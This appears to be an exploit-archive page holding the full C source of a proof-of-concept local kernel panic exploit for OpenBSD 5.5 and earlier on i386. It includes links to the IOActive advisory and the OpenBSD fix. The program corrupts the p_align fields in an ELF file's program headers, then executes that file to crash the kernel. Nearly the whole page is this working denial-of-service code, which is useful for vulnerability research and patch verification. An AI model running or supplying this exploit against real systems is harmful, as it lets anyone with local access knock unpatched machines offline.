OpenBSD <= 5.5 - Local Kernel Panic

2014-10-25 12:05:05

/*
* tenochtitlan.c
*
* OpenBSD <= 5.5 Local Kernel Panic
* by Alejandro Hernandez (@nitr0usmx)
*
* Advisory and technical details:
* http://www.ioactive.com/pdfs/IOActive_Advisory_OpenBSD_5_5_Local_Kernel_Panic.pdf
*
* Fix: http://www.openbsd.org/errata55.html#013_kernexec
*
* This PoC works only for i386.
*
* Bug found with Melkor (ELF file format fuzzer)
* https://github.com/IOActive/Melkor_ELF_Fuzzer
*
* Mexico / Oct 2014
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/types.h>

#ifndef __OpenBSD__
#error "Not an OpenBSD system !!!1111";
#else
#include <sys/exec_elf.h>
#endif

#ifndef __i386__
#error "Not an i386 system !!!1111";
#endif

// In Aztec mythology, Huitzilopochtli, was a god of war, a sun god,
// the patron of the city of Tenochtitlan, the Capital of the Aztec Empire.
const char pyramid[] =
" _____\n"
" _|[]_|_\n"
" _/_/=|_\\_\\_\n"
" _/_ /==| _\\ _\\_\n"
" _/__ /===|_ _\\ __\\_\n"
" _/_ _ /====| ___\\ __\\_\n"
" _/ __ _/=====|_ ___\\ ___ \\_\n"
" _/ ___ _/======| ____ \\_ __ \\_\n";

struct {
unsigned int idx;
Elf32_Word p_align;
} targets[] = {
{ 6, 0xb16b00b5 }, // ( * )( * )
{ 6, 0xdeadface },
{ 4, 0x00001001 },
{ 0, 0x00000004 }
};

int main(int argc, char **argv)
{
Elf32_Ehdr *hdr;
Elf32_Phdr *pht; // Program Header Table
struct stat statinfo;
char *elfptr;
int fd, r;

if(argc < 2){
fprintf(stderr, "Usage: %s <elf_executable>\n", argv[0]);
exit(-1);
}

if((fd = open(argv[1], O_RDWR)) == -1){
perror("open");
exit(-1);
}

if(fstat(fd, &statinfo) == -1){
perror("stat");
close(fd);
exit(-1);
}

if((elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){
perror("mmap");
close(fd);
exit(-1);
}

hdr = (Elf32_Ehdr *) (elfptr);
pht = (Elf32_Phdr *) (elfptr + hdr->e_phoff);

printf("[*] hdr->e_phoff:\t0x%.4x\n", hdr->e_phoff);
printf("[*] hdr->e_phnum:\t0x%.4x\n", hdr->e_phnum);

srand(time(NULL));
r = rand();

if(r % 3 == 0){
#ifdef OpenBSD5_5
pht[targets[0].idx].p_align = targets[0].p_align;
printf("[*] PHT[%d].p_align = 0x%x\n", targets[0].idx, pht[targets[0].idx].p_align);
#else // OpenBSD 5.2 didn't panic with 0xb16b00b5 in the last LOAD's p_align
pht[targets[1].idx].p_align = targets[1].p_align;
printf("[*] PHT[%d].p_align = 0x%x\n", targets[1].idx, pht[targets[1].idx].p_align);
#endif
} else if(r % 3 == 1){
pht[targets[2].idx].p_align = targets[2].p_align;
printf("[*] PHT[%d].p_align = 0x%x\n", targets[2].idx, pht[targets[2].idx].p_align);
} else {
int p;

for(p = 0; p < hdr->e_phnum; p++, pht++)
if(pht->p_type == PT_LOAD){
pht->p_align = targets[3].p_align;
printf("[*] PHT[%d].p_align = 0x%x\n", p, pht->p_align);
}
}

// Synchronize the ELF in memory and the file system
if(msync(elfptr, 0, MS_ASYNC) == -1){
perror("msync");
close(fd);
exit(-1);
}

if(munmap(elfptr, statinfo.st_size) == -1){
perror("munmap");
close(fd);
exit(-1);
}

close(fd);

printf("%s", pyramid);

sleep(1);
system(argv[1]);

// Should never reach this point, however sometimes the OS didn't crash with
// system() until the 2nd execution. Same behavior with execl and execv too.
printf("... try to execute %s manually.\n", argv[1]);

return -1;
}

Fixes

No fixes

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